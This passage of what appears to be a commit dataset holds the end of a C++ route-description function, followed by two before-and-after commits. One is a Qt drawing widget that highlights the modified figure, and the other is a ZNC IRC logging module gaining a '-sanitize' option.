BOOST_ASSERT(path_description[i].necessary);\n            segment_length = 0;\n            segment_duration = 0;\n            segment_start_index = i;\n        }\n    }\n\n    \/\/ Post-processing to remove empty or nearly empty path segments\n    if (path_description.size() > 2 &&\n        std::numeric_limits<double>::epsilon() > path_description.back().length)\n    {\n        path_description.pop_back();\n        path_description.back().necessary = true;\n        path_description.back().turn_instruction = TurnInstruction::NoTurn;\n        target_phantom.name_id = (path_description.end() - 2)->name_id;\n    }\n\n    if (path_description.size() > 2 &&\n        std::numeric_limits<double>::epsilon() > path_description.front().length)\n    {\n        path_description.erase(path_description.begin());\n        path_description.front().turn_instruction = TurnInstruction::HeadOn;\n        path_description.front().necessary = true;\n        start_phantom.name_id = path_description.front().name_id;\n    }\n\n    \/\/ Generalize poly line\n    polyline_generalizer.Run(path_description.begin(), path_description.end(), zoom_level);\n\n    \/\/ fix what needs to be fixed else\n    unsigned necessary_pieces = 0; \/\/ a running index that counts the necessary pieces\n    for (unsigned i = 0; i < path_description.size() - 1 && path_description.size() >= 2; ++i)\n    {\n        if (path_description[i].necessary)\n        {\n            ++necessary_pieces;\n            if (path_description[i].is_via_location)\n            { \/\/ mark the end of a leg\n                via_indices.push_back(necessary_pieces);\n            }\n            const double angle =\n                path_description[i + 1].location.GetBearing(path_description[i].location);\n            path_description[i].bearing = static_cast<unsigned>(angle * 10);\n        }\n    }\n    via_indices.push_back(necessary_pieces + 1);\n    BOOST_ASSERT(via_indices.size() >= 2);\n    \/\/ BOOST_ASSERT(0 != necessary_pieces || path_description.empty());\n    return;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"model.h\"\n#include \"modelwidget.h\"\n#include \"figurepainter.h\"\n#include \"recognition.h\"\n#include <QPainter>\n#include <QMouseEvent>\n#include <QDebug>\n#include <QTimer>\n#include <iostream>\n\nUi::ModelWidget::ModelWidget(QWidget *parent) :\n    QWidget(parent) {\n}\n\nvoid drawTrack(QPainter &painter, FigurePainter &fpainter, const Track &track) {\n    for (size_t i = 0; i + 1 < track.size(); i++) {\n        painter.drawLine(fpainter.scale(track[i]), fpainter.scale(track[i + 1]));\n    }\n}\n\nvoid Ui::ModelWidget::setModel(Model model) {\n    commitedModel = std::move(model);\n}\nModel& Ui::ModelWidget::getModel() {\n    return commitedModel;\n}\n\nvoid Ui::ModelWidget::paintEvent(QPaintEvent *) {\n    QPainter painter(this);\n    painter.fillRect(QRect(QPoint(), size()), Qt::white);\n    painter.setPen(Qt::black);\n\n    FigurePainter fpainter(painter);\n    Model modelToDraw = commitedModel;\n    recognize(lastTrack, modelToDraw);\n    for (PFigure fig : modelToDraw) {\n        fig->visit(fpainter);\n    }\n\n    QPen pen(QColor(255, 0, 0, 64));\n    pen.setWidth(3);\n    painter.setPen(pen);\n    drawTrack(painter, fpainter, lastTrack);\n    for (const Track &track : visibleTracks) {\n        drawTrack(painter, fpainter, track);\n    }\n}\n\nvoid Ui::ModelWidget::mousePressEvent(QMouseEvent *event) {\n    lastTrack = Track();\n    lastTrack.points.push_back(Point(event->pos().x(), event->pos().y()));\n    repaint();\n}\nvoid Ui::ModelWidget::mouseMoveEvent(QMouseEvent *event) {\n    lastTrack.points.push_back(Point(event->pos().x(), event->pos().y()));\n    repaint();\n}\nvoid Ui::ModelWidget::mouseReleaseEvent(QMouseEvent *event) {\n    lastTrack.points.push_back(Point(event->pos().x(), event->pos().y()));\n    recognize(lastTrack, commitedModel);\n\n    visibleTracks.push_back(lastTrack);\n    auto iterator = --visibleTracks.end();\n    QTimer *timer = new QTimer(this);\n\n    connect(timer, &QTimer::timeout, [this, iterator, timer]() {\n        visibleTracks.erase(iterator);\n        delete timer;\n        repaint();\n    });\n    timer->setInterval(1500);\n    timer->setSingleShot(true);\n    timer->start();\n\n    lastTrack = Track();\n    repaint();\n}\n<commit_msg>modelwidget: now modified figure is highlighted (#17), color of current track was made more transparent<commit_after>#include \"model.h\"\n#include \"modelwidget.h\"\n#include \"figurepainter.h\"\n#include \"recognition.h\"\n#include <QPainter>\n#include <QMouseEvent>\n#include <QDebug>\n#include <QTimer>\n#include <iostream>\n\nUi::ModelWidget::ModelWidget(QWidget *parent) :\n    QWidget(parent) {\n}\n\nvoid drawTrack(QPainter &painter, FigurePainter &fpainter, const Track &track) {\n    for (size_t i = 0; i + 1 < track.size(); i++) {\n        painter.drawLine(fpainter.scale(track[i]), fpainter.scale(track[i + 1]));\n    }\n}\n\nvoid Ui::ModelWidget::setModel(Model model) {\n    commitedModel = std::move(model);\n}\nModel& Ui::ModelWidget::getModel() {\n    return commitedModel;\n}\n\nvoid Ui::ModelWidget::paintEvent(QPaintEvent *) {\n    QPainter painter(this);\n    painter.fillRect(QRect(QPoint(), size()), Qt::white);\n    painter.setPen(Qt::black);\n\n    FigurePainter fpainter(painter);\n    Model modelToDraw = commitedModel;\n    PFigure modified = recognize(lastTrack, modelToDraw);\n    for (PFigure fig : modelToDraw) {\n        if (fig == modified) {\n            painter.setPen(Qt::magenta);\n        } else {\n            painter.setPen(Qt::black);\n        }\n        fig->visit(fpainter);\n    }\n\n    QPen pen(QColor(255, 0, 0, 16));\n    pen.setWidth(3);\n    painter.setPen(pen);\n    drawTrack(painter, fpainter, lastTrack);\n    for (const Track &track : visibleTracks) {\n        drawTrack(painter, fpainter, track);\n    }\n}\n\nvoid Ui::ModelWidget::mousePressEvent(QMouseEvent *event) {\n    lastTrack = Track();\n    lastTrack.points.push_back(Point(event->pos().x(), event->pos().y()));\n    repaint();\n}\nvoid Ui::ModelWidget::mouseMoveEvent(QMouseEvent *event) {\n    lastTrack.points.push_back(Point(event->pos().x(), event->pos().y()));\n    repaint();\n}\nvoid Ui::ModelWidget::mouseReleaseEvent(QMouseEvent *event) {\n    lastTrack.points.push_back(Point(event->pos().x(), event->pos().y()));\n    recognize(lastTrack, commitedModel);\n\n    visibleTracks.push_back(lastTrack);\n    auto iterator = --visibleTracks.end();\n    QTimer *timer = new QTimer(this);\n\n    connect(timer, &QTimer::timeout, [this, iterator, timer]() {\n        visibleTracks.erase(iterator);\n        delete timer;\n        repaint();\n    });\n    timer->setInterval(1500);\n    timer->setSingleShot(true);\n    timer->start();\n\n    lastTrack = Track();\n    repaint();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2008-2013  See the AUTHORS file for details.\n * Copyright (C) 2006-2007, CNU <bshalm@broadpark.no> (http:\/\/cnu.dieplz.net\/znc)\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU General Public License version 2 as published\n * by the Free Software Foundation.\n *\/\n\n#include <znc\/FileUtils.h>\n#include <znc\/User.h>\n#include <znc\/IRCNetwork.h>\n#include <znc\/Chan.h>\n#include <znc\/Server.h>\n\nusing std::vector;\n\nclass CLogMod: public CModule {\npublic:\n\tMODCONSTRUCTOR(CLogMod) {}\n\n\tvoid PutLog(const CString& sLine, const CString& sWindow = \"status\");\n\tvoid PutLog(const CString& sLine, const CChan& Channel);\n\tvoid PutLog(const CString& sLine, const CNick& Nick);\n\tCString GetServer();\n\n\tvirtual bool OnLoad(const CString& sArgs, CString& sMessage);\n\tvirtual void OnIRCConnected();\n\tvirtual void OnIRCDisconnected();\n\tvirtual EModRet OnBroadcast(CString& sMessage);\n\n\tvirtual void OnRawMode(const CNick& OpNick, CChan& Channel, const CString& sModes, const CString& sArgs);\n\tvirtual void OnKick(const CNick& OpNick, const CString& sKickedNick, CChan& Channel, const CString& sMessage);\n\tvirtual void OnQuit(const CNick& Nick, const CString& sMessage, const vector<CChan*>& vChans);\n\tvirtual void OnJoin(const CNick& Nick, CChan& Channel);\n\tvirtual void OnPart(const CNick& Nick, CChan& Channel, const CString& sMessage);\n\tvirtual void OnNick(const CNick& OldNick, const CString& sNewNick, const vector<CChan*>& vChans);\n\tvirtual EModRet OnTopic(CNick& Nick, CChan& Channel, CString& sTopic);\n\n\t\/* notices *\/\n\tvirtual EModRet OnUserNotice(CString& sTarget, CString& sMessage);\n\tvirtual EModRet OnPrivNotice(CNick& Nick, CString& sMessage);\n\tvirtual EModRet OnChanNotice(CNick& Nick, CChan& Channel, CString& sMessage);\n\n\t\/* actions *\/\n\tvirtual EModRet OnUserAction(CString& sTarget, CString& sMessage);\n\tvirtual EModRet OnPrivAction(CNick& Nick, CString& sMessage);\n\tvirtual EModRet OnChanAction(CNick& Nick, CChan& Channel, CString& sMessage);\n\n\t\/* msgs *\/\n\tvirtual EModRet OnUserMsg(CString& sTarget, CString& sMessage);\n\tvirtual EModRet OnPrivMsg(CNick& Nick, CString& sMessage);\n\tvirtual EModRet OnChanMsg(CNick& Nick, CChan& Channel, CString& sMessage);\n\nprivate:\n\tCString                 m_sLogPath;\n};\n\nvoid CLogMod::PutLog(const CString& sLine, const CString& sWindow \/*= \"Status\"*\/)\n{\n\tCString sPath;\n\ttime_t curtime;\n\n\ttime(&curtime);\n\t\/\/ Generate file name\n\tsPath = CUtils::FormatTime(curtime, m_sLogPath, m_pUser->GetTimezone());\n\tif (sPath.empty())\n\t{\n\t\tDEBUG(\"Could not format log path [\" << sPath << \"]\");\n\t\treturn;\n\t}\n\n\t\/\/ $WINDOW has to be handled last, since it can contain %\n\tsPath.Replace(\"$NETWORK\", (m_pNetwork ? m_pNetwork->GetName() : \"znc\"));\n\tsPath.Replace(\"$WINDOW\", sWindow.Replace_n(\"\/\", \"?\"));\n\tsPath.Replace(\"$USER\", (m_pUser ? m_pUser->GetUserName() : \"UNKNOWN\"));\n\n\t\/\/ Check if it's allowed to write in this specific path\n\tsPath = CDir::CheckPathPrefix(GetSavePath(), sPath);\n\tif (sPath.empty())\n\t{\n\t\tDEBUG(\"Invalid log path [\"<<m_sLogPath<<\"].\");\n\t\treturn;\n\t}\n\n\tCFile LogFile(sPath);\n\tCString sLogDir = LogFile.GetDir();\n\tif (!CFile::Exists(sLogDir)) CDir::MakeDir(sLogDir);\n\tif (LogFile.Open(O_WRONLY | O_APPEND | O_CREAT))\n\t{\n\t\tLogFile.Write(CUtils::FormatTime(curtime, \"[%H:%M:%S] \", m_pUser->GetTimezone()) + sLine + \"\\n\");\n\t} else\n\t\tDEBUG(\"Could not open log file [\" << sPath << \"]: \" << strerror(errno));\n}\n\nvoid CLogMod::PutLog(const CString& sLine, const CChan& Channel)\n{\n\tPutLog(sLine, Channel.GetName());\n}\n\nvoid CLogMod::PutLog(const CString& sLine, const CNick& Nick)\n{\n\tPutLog(sLine, Nick.GetNick());\n}\n\nCString CLogMod::GetServer()\n{\n\tCServer* pServer = m_pNetwork->GetCurrentServer();\n\tCString sSSL;\n\n\tif (!pServer)\n\t\treturn \"(no server)\";\n\n\tif (pServer->IsSSL())\n\t\tsSSL = \"+\";\n\treturn pServer->GetName() + \" \" + sSSL + CString(pServer->GetPort());\n}\n\nbool CLogMod::OnLoad(const CString& sArgs, CString& sMessage)\n{\n\t\/\/ Use load parameter as save path\n\tm_sLogPath = sArgs;\n\n\t\/\/ Add default filename to path if it's a folder\n\tif (GetType() == CModInfo::UserModule) {\n\t\tif (m_sLogPath.Right(1) == \"\/\" || m_sLogPath.find(\"$WINDOW\") == CString::npos || m_sLogPath.find(\"$NETWORK\") == CString::npos) {\n\t\t\tif (!m_sLogPath.empty()) {\n\t\t\t\tm_sLogPath += \"\/\";\n\t\t\t}\n\t\t\tm_sLogPath += \"$NETWORK_$WINDOW_%Y%m%d.log\";\n\t\t}\n\t} else if (GetType() == CModInfo::NetworkModule) {\n\t\tif (m_sLogPath.Right(1) == \"\/\" || m_sLogPath.find(\"$WINDOW\") == CString::npos) {\n\t\t\tif (!m_sLogPath.empty()) {\n\t\t\t\tm_sLogPath += \"\/\";\n\t\t\t}\n\t\t\tm_sLogPath += \"$WINDOW_%Y%m%d.log\";\n\t\t}\n\t} else {\n\t\tif (m_sLogPath.Right(1) == \"\/\" || m_sLogPath.find(\"$USER\") == CString::npos || m_sLogPath.find(\"$WINDOW\") == CString::npos || m_sLogPath.find(\"$NETWORK\") == CString::npos) {\n\t\t\tif (!m_sLogPath.empty()) {\n\t\t\t\tm_sLogPath += \"\/\";\n\t\t\t}\n\t\t\tm_sLogPath += \"$USER_$NETWORK_$WINDOW_%Y%m%d.log\";\n\t\t}\n\t}\n\n\t\/\/ Check if it's allowed to write in this path in general\n\tm_sLogPath = CDir::CheckPathPrefix(GetSavePath(), m_sLogPath);\n\tif (m_sLogPath.empty())\n\t{\n\t\tsMessage = \"Invalid log path [\"+m_sLogPath+\"].\";\n\t\treturn false;\n\t} else {\n\t\tsMessage = \"Logging to [\"+m_sLogPath+\"].\";\n\t\treturn true;\n\t}\n}\n\n\nvoid CLogMod::OnIRCConnected()\n{\n\tPutLog(\"Connected to IRC (\" + GetServer() + \")\");\n}\n\nvoid CLogMod::OnIRCDisconnected()\n{\n\tPutLog(\"Disconnected from IRC (\" + GetServer() + \")\");\n}\n\nCModule::EModRet CLogMod::OnBroadcast(CString& sMessage)\n{\n\tPutLog(\"Broadcast: \" + sMessage);\n\treturn CONTINUE;\n}\n\nvoid CLogMod::OnRawMode(const CNick& OpNick, CChan& Channel, const CString& sModes, const CString& sArgs)\n{\n\tPutLog(\"*** \" + OpNick.GetNick() + \" sets mode: \" + sModes + \" \" + sArgs, Channel);\n}\n\nvoid CLogMod::OnKick(const CNick& OpNick, const CString& sKickedNick, CChan& Channel, const CString& sMessage)\n{\n\tPutLog(\"*** \" + sKickedNick + \" was kicked by \" + OpNick.GetNick() + \" (\" + sMessage + \")\", Channel);\n}\n\nvoid CLogMod::OnQuit(const CNick& Nick, const CString& sMessage, const vector<CChan*>& vChans)\n{\n\tfor (std::vector<CChan*>::const_iterator pChan = vChans.begin(); pChan != vChans.end(); ++pChan)\n\t\tPutLog(\"*** Quits: \" + Nick.GetNick() + \" (\" + Nick.GetIdent() + \"@\" + Nick.GetHost() + \") (\" + sMessage + \")\", **pChan);\n}\n\nvoid CLogMod::OnJoin(const CNick& Nick, CChan& Channel)\n{\n\tPutLog(\"*** Joins: \" + Nick.GetNick() + \" (\" + Nick.GetIdent() + \"@\" + Nick.GetHost() + \")\", Channel);\n}\n\nvoid CLogMod::OnPart(const CNick& Nick, CChan& Channel, const CString& sMessage)\n{\n\tPutLog(\"*** Parts: \" + Nick.GetNick() + \" (\" + Nick.GetIdent() + \"@\" + Nick.GetHost() + \") (\" + sMessage + \")\", Channel);\n}\n\nvoid CLogMod::OnNick(const CNick& OldNick, const CString& sNewNick, const vector<CChan*>& vChans)\n{\n\tfor (std::vector<CChan*>::const_iterator pChan = vChans.begin(); pChan != vChans.end(); ++pChan)\n\t\tPutLog(\"*** \" + OldNick.GetNick() + \" is now known as \" + sNewNick, **pChan);\n}\n\nCModule::EModRet CLogMod::OnTopic(CNick& Nick, CChan& Channel, CString& sTopic)\n{\n\tPutLog(\"*** \" + Nick.GetNick() + \" changes topic to '\" + sTopic + \"'\", Channel);\n\treturn CONTINUE;\n}\n\n\/* notices *\/\nCModule::EModRet CLogMod::OnUserNotice(CString& sTarget, CString& sMessage)\n{\n\tif (m_pNetwork) {\n\t\tPutLog(\"-\" + m_pNetwork->GetCurNick() + \"- \" + sMessage, sTarget);\n\t}\n\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnPrivNotice(CNick& Nick, CString& sMessage)\n{\n\tPutLog(\"-\" + Nick.GetNick() + \"- \" + sMessage, Nick);\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnChanNotice(CNick& Nick, CChan& Channel, CString& sMessage)\n{\n\tPutLog(\"-\" + Nick.GetNick() + \"- \" + sMessage, Channel);\n\treturn CONTINUE;\n}\n\n\/* actions *\/\nCModule::EModRet CLogMod::OnUserAction(CString& sTarget, CString& sMessage)\n{\n\tif (m_pNetwork) {\n\t\tPutLog(\"* \" + m_pNetwork->GetCurNick() + \" \" + sMessage, sTarget);\n\t}\n\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnPrivAction(CNick& Nick, CString& sMessage)\n{\n\tPutLog(\"* \" + Nick.GetNick() + \" \" + sMessage, Nick);\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnChanAction(CNick& Nick, CChan& Channel, CString& sMessage)\n{\n\tPutLog(\"* \" + Nick.GetNick() + \" \" + sMessage, Channel);\n\treturn CONTINUE;\n}\n\n\/* msgs *\/\nCModule::EModRet CLogMod::OnUserMsg(CString& sTarget, CString& sMessage)\n{\n\tif (m_pNetwork) {\n\t\tPutLog(\"<\" + m_pNetwork->GetCurNick() + \"> \" + sMessage, sTarget);\n\t}\n\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnPrivMsg(CNick& Nick, CString& sMessage)\n{\n\tPutLog(\"<\" + Nick.GetNick() + \"> \" + sMessage, Nick);\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnChanMsg(CNick& Nick, CChan& Channel, CString& sMessage)\n{\n\tPutLog(\"<\" + Nick.GetNick() + \"> \" + sMessage, Channel);\n\treturn CONTINUE;\n}\n\ntemplate<> void TModInfo<CLogMod>(CModInfo& Info) {\n\tInfo.AddType(CModInfo::NetworkModule);\n\tInfo.AddType(CModInfo::GlobalModule);\n\tInfo.SetHasArgs(true);\n\tInfo.SetArgsHelpText(\"Optional path where to store logs.\");\n\tInfo.SetWikiPage(\"log\");\n}\n\nUSERMODULEDEFS(CLogMod, \"Write IRC logs\")\n<commit_msg>Add -sanitize option to log module.<commit_after>\/*\n * Copyright (C) 2008-2013  See the AUTHORS file for details.\n * Copyright (C) 2006-2007, CNU <bshalm@broadpark.no> (http:\/\/cnu.dieplz.net\/znc)\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU General Public License version 2 as published\n * by the Free Software Foundation.\n *\/\n\n#include <znc\/FileUtils.h>\n#include <znc\/User.h>\n#include <znc\/IRCNetwork.h>\n#include <znc\/Chan.h>\n#include <znc\/Server.h>\n\nusing std::vector;\n\nclass CLogMod: public CModule {\npublic:\n\tMODCONSTRUCTOR(CLogMod)\n\t{\n\t\tm_bSanitize = false;\n\t}\n\n\tvoid PutLog(const CString& sLine, const CString& sWindow = \"status\");\n\tvoid PutLog(const CString& sLine, const CChan& Channel);\n\tvoid PutLog(const CString& sLine, const CNick& Nick);\n\tCString GetServer();\n\n\tvirtual bool OnLoad(const CString& sArgs, CString& sMessage);\n\tvirtual void OnIRCConnected();\n\tvirtual void OnIRCDisconnected();\n\tvirtual EModRet OnBroadcast(CString& sMessage);\n\n\tvirtual void OnRawMode(const CNick& OpNick, CChan& Channel, const CString& sModes, const CString& sArgs);\n\tvirtual void OnKick(const CNick& OpNick, const CString& sKickedNick, CChan& Channel, const CString& sMessage);\n\tvirtual void OnQuit(const CNick& Nick, const CString& sMessage, const vector<CChan*>& vChans);\n\tvirtual void OnJoin(const CNick& Nick, CChan& Channel);\n\tvirtual void OnPart(const CNick& Nick, CChan& Channel, const CString& sMessage);\n\tvirtual void OnNick(const CNick& OldNick, const CString& sNewNick, const vector<CChan*>& vChans);\n\tvirtual EModRet OnTopic(CNick& Nick, CChan& Channel, CString& sTopic);\n\n\t\/* notices *\/\n\tvirtual EModRet OnUserNotice(CString& sTarget, CString& sMessage);\n\tvirtual EModRet OnPrivNotice(CNick& Nick, CString& sMessage);\n\tvirtual EModRet OnChanNotice(CNick& Nick, CChan& Channel, CString& sMessage);\n\n\t\/* actions *\/\n\tvirtual EModRet OnUserAction(CString& sTarget, CString& sMessage);\n\tvirtual EModRet OnPrivAction(CNick& Nick, CString& sMessage);\n\tvirtual EModRet OnChanAction(CNick& Nick, CChan& Channel, CString& sMessage);\n\n\t\/* msgs *\/\n\tvirtual EModRet OnUserMsg(CString& sTarget, CString& sMessage);\n\tvirtual EModRet OnPrivMsg(CNick& Nick, CString& sMessage);\n\tvirtual EModRet OnChanMsg(CNick& Nick, CChan& Channel, CString& sMessage);\n\nprivate:\n\tCString                 m_sLogPath;\n\tbool                    m_bSanitize;\n};\n\nvoid CLogMod::PutLog(const CString& sLine, const CString& sWindow \/*= \"Status\"*\/)\n{\n\tCString sPath;\n\ttime_t curtime;\n\n\ttime(&curtime);\n\t\/\/ Generate file name\n\tsPath = CUtils::FormatTime(curtime, m_sLogPath, m_pUser->GetTimezone());\n\tif (sPath.empty())\n\t{\n\t\tDEBUG(\"Could not format log path [\" << sPath << \"]\");\n\t\treturn;\n\t}\n\n\t\/\/ $WINDOW has to be handled last, since it can contain %\n\tsPath.Replace(\"$NETWORK\", (m_pNetwork ? m_pNetwork->GetName() : \"znc\"));\n\tsPath.Replace(\"$WINDOW\", sWindow.Replace_n(\"\/\", \"?\"));\n\tsPath.Replace(\"$USER\", (m_pUser ? m_pUser->GetUserName() : \"UNKNOWN\"));\n\n\t\/\/ Check if it's allowed to write in this specific path\n\tsPath = CDir::CheckPathPrefix(GetSavePath(), sPath);\n\tif (sPath.empty())\n\t{\n\t\tDEBUG(\"Invalid log path [\"<<m_sLogPath<<\"].\");\n\t\treturn;\n\t}\n\n\tCFile LogFile(sPath);\n\tCString sLogDir = LogFile.GetDir();\n\tif (!CFile::Exists(sLogDir)) CDir::MakeDir(sLogDir);\n\tif (LogFile.Open(O_WRONLY | O_APPEND | O_CREAT))\n\t{\n\t\tLogFile.Write(CUtils::FormatTime(curtime, \"[%H:%M:%S] \", m_pUser->GetTimezone()) + (m_bSanitize ? sLine.StripControls_n() : sLine) + \"\\n\");\n\t} else\n\t\tDEBUG(\"Could not open log file [\" << sPath << \"]: \" << strerror(errno));\n}\n\nvoid CLogMod::PutLog(const CString& sLine, const CChan& Channel)\n{\n\tPutLog(sLine, Channel.GetName());\n}\n\nvoid CLogMod::PutLog(const CString& sLine, const CNick& Nick)\n{\n\tPutLog(sLine, Nick.GetNick());\n}\n\nCString CLogMod::GetServer()\n{\n\tCServer* pServer = m_pNetwork->GetCurrentServer();\n\tCString sSSL;\n\n\tif (!pServer)\n\t\treturn \"(no server)\";\n\n\tif (pServer->IsSSL())\n\t\tsSSL = \"+\";\n\treturn pServer->GetName() + \" \" + sSSL + CString(pServer->GetPort());\n}\n\nbool CLogMod::OnLoad(const CString& sArgs, CString& sMessage)\n{\n\tsize_t uIndex = 0;\n\tif (sArgs.Token(0).Equals(\"-sanitize\"))\n\t{\n\t\tm_bSanitize = true;\n\t\t++uIndex;\n\t}\n\n\t\/\/ Use load parameter as save path\n\tm_sLogPath = sArgs.Token(uIndex);\n\n\t\/\/ Add default filename to path if it's a folder\n\tif (GetType() == CModInfo::UserModule) {\n\t\tif (m_sLogPath.Right(1) == \"\/\" || m_sLogPath.find(\"$WINDOW\") == CString::npos || m_sLogPath.find(\"$NETWORK\") == CString::npos) {\n\t\t\tif (!m_sLogPath.empty()) {\n\t\t\t\tm_sLogPath += \"\/\";\n\t\t\t}\n\t\t\tm_sLogPath += \"$NETWORK_$WINDOW_%Y%m%d.log\";\n\t\t}\n\t} else if (GetType() == CModInfo::NetworkModule) {\n\t\tif (m_sLogPath.Right(1) == \"\/\" || m_sLogPath.find(\"$WINDOW\") == CString::npos) {\n\t\t\tif (!m_sLogPath.empty()) {\n\t\t\t\tm_sLogPath += \"\/\";\n\t\t\t}\n\t\t\tm_sLogPath += \"$WINDOW_%Y%m%d.log\";\n\t\t}\n\t} else {\n\t\tif (m_sLogPath.Right(1) == \"\/\" || m_sLogPath.find(\"$USER\") == CString::npos || m_sLogPath.find(\"$WINDOW\") == CString::npos || m_sLogPath.find(\"$NETWORK\") == CString::npos) {\n\t\t\tif (!m_sLogPath.empty()) {\n\t\t\t\tm_sLogPath += \"\/\";\n\t\t\t}\n\t\t\tm_sLogPath += \"$USER_$NETWORK_$WINDOW_%Y%m%d.log\";\n\t\t}\n\t}\n\n\t\/\/ Check if it's allowed to write in this path in general\n\tm_sLogPath = CDir::CheckPathPrefix(GetSavePath(), m_sLogPath);\n\tif (m_sLogPath.empty())\n\t{\n\t\tsMessage = \"Invalid log path [\"+m_sLogPath+\"].\";\n\t\treturn false;\n\t} else {\n\t\tsMessage = \"Logging to [\"+m_sLogPath+\"].\";\n\t\treturn true;\n\t}\n}\n\n\nvoid CLogMod::OnIRCConnected()\n{\n\tPutLog(\"Connected to IRC (\" + GetServer() + \")\");\n}\n\nvoid CLogMod::OnIRCDisconnected()\n{\n\tPutLog(\"Disconnected from IRC (\" + GetServer() + \")\");\n}\n\nCModule::EModRet CLogMod::OnBroadcast(CString& sMessage)\n{\n\tPutLog(\"Broadcast: \" + sMessage);\n\treturn CONTINUE;\n}\n\nvoid CLogMod::OnRawMode(const CNick& OpNick, CChan& Channel, const CString& sModes, const CString& sArgs)\n{\n\tPutLog(\"*** \" + OpNick.GetNick() + \" sets mode: \" + sModes + \" \" + sArgs, Channel);\n}\n\nvoid CLogMod::OnKick(const CNick& OpNick, const CString& sKickedNick, CChan& Channel, const CString& sMessage)\n{\n\tPutLog(\"*** \" + sKickedNick + \" was kicked by \" + OpNick.GetNick() + \" (\" + sMessage + \")\", Channel);\n}\n\nvoid CLogMod::OnQuit(const CNick& Nick, const CString& sMessage, const vector<CChan*>& vChans)\n{\n\tfor (std::vector<CChan*>::const_iterator pChan = vChans.begin(); pChan != vChans.end(); ++pChan)\n\t\tPutLog(\"*** Quits: \" + Nick.GetNick() + \" (\" + Nick.GetIdent() + \"@\" + Nick.GetHost() + \") (\" + sMessage + \")\", **pChan);\n}\n\nvoid CLogMod::OnJoin(const CNick& Nick, CChan& Channel)\n{\n\tPutLog(\"*** Joins: \" + Nick.GetNick() + \" (\" + Nick.GetIdent() + \"@\" + Nick.GetHost() + \")\", Channel);\n}\n\nvoid CLogMod::OnPart(const CNick& Nick, CChan& Channel, const CString& sMessage)\n{\n\tPutLog(\"*** Parts: \" + Nick.GetNick() + \" (\" + Nick.GetIdent() + \"@\" + Nick.GetHost() + \") (\" + sMessage + \")\", Channel);\n}\n\nvoid CLogMod::OnNick(const CNick& OldNick, const CString& sNewNick, const vector<CChan*>& vChans)\n{\n\tfor (std::vector<CChan*>::const_iterator pChan = vChans.begin(); pChan != vChans.end(); ++pChan)\n\t\tPutLog(\"*** \" + OldNick.GetNick() + \" is now known as \" + sNewNick, **pChan);\n}\n\nCModule::EModRet CLogMod::OnTopic(CNick& Nick, CChan& Channel, CString& sTopic)\n{\n\tPutLog(\"*** \" + Nick.GetNick() + \" changes topic to '\" + sTopic + \"'\", Channel);\n\treturn CONTINUE;\n}\n\n\/* notices *\/\nCModule::EModRet CLogMod::OnUserNotice(CString& sTarget, CString& sMessage)\n{\n\tif (m_pNetwork) {\n\t\tPutLog(\"-\" + m_pNetwork->GetCurNick() + \"- \" + sMessage, sTarget);\n\t}\n\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnPrivNotice(CNick& Nick, CString& sMessage)\n{\n\tPutLog(\"-\" + Nick.GetNick() + \"- \" + sMessage, Nick);\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnChanNotice(CNick& Nick, CChan& Channel, CString& sMessage)\n{\n\tPutLog(\"-\" + Nick.GetNick() + \"- \" + sMessage, Channel);\n\treturn CONTINUE;\n}\n\n\/* actions *\/\nCModule::EModRet CLogMod::OnUserAction(CString& sTarget, CString& sMessage)\n{\n\tif (m_pNetwork) {\n\t\tPutLog(\"* \" + m_pNetwork->GetCurNick() + \" \" + sMessage, sTarget);\n\t}\n\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnPrivAction(CNick& Nick, CString& sMessage)\n{\n\tPutLog(\"* \" + Nick.GetNick() + \" \" + sMessage, Nick);\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnChanAction(CNick& Nick, CChan& Channel, CString& sMessage)\n{\n\tPutLog(\"* \" + Nick.GetNick() + \" \" + sMessage, Channel);\n\treturn CONTINUE;\n}\n\n\/* msgs *\/\nCModule::EModRet CLogMod::OnUserMsg(CString& sTarget, CString& sMessage)\n{\n\tif (m_pNetwork) {\n\t\tPutLog(\"<\" + m_pNetwork->GetCurNick() + \"> \" + sMessage, sTarget);\n\t}\n\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnPrivMsg(CNick& Nick, CString& sMessage)\n{\n\tPutLog(\"<\" + Nick.GetNick() + \"> \" + sMessage, Nick);\n\treturn CONTINUE;\n}\n\nCModule::EModRet CLogMod::OnChanMsg(CNick& Nick, CChan& Channel, CString& sMessage)\n{\n\tPutLog(\"<\" + Nick.GetNick() + \"> \" + sMessage, Channel);\n\treturn CONTINUE;\n}\n\ntemplate<> void TModInfo<CLogMod>(CModInfo& Info) {\n\tInfo.AddType(CModInfo::NetworkModule);\n\tInfo.AddType(CModInfo::GlobalModule);\n\tInfo.SetHasArgs(true);\n\tInfo.SetArgsHelpText(\"[-sanitize] Optional path where to store logs.\");\n\tInfo.SetWikiPage(\"log\");\n}\n\nUSERMODULEDEFS(CLogMod, \"Write IRC logs\")\n<|endoftext|>"}
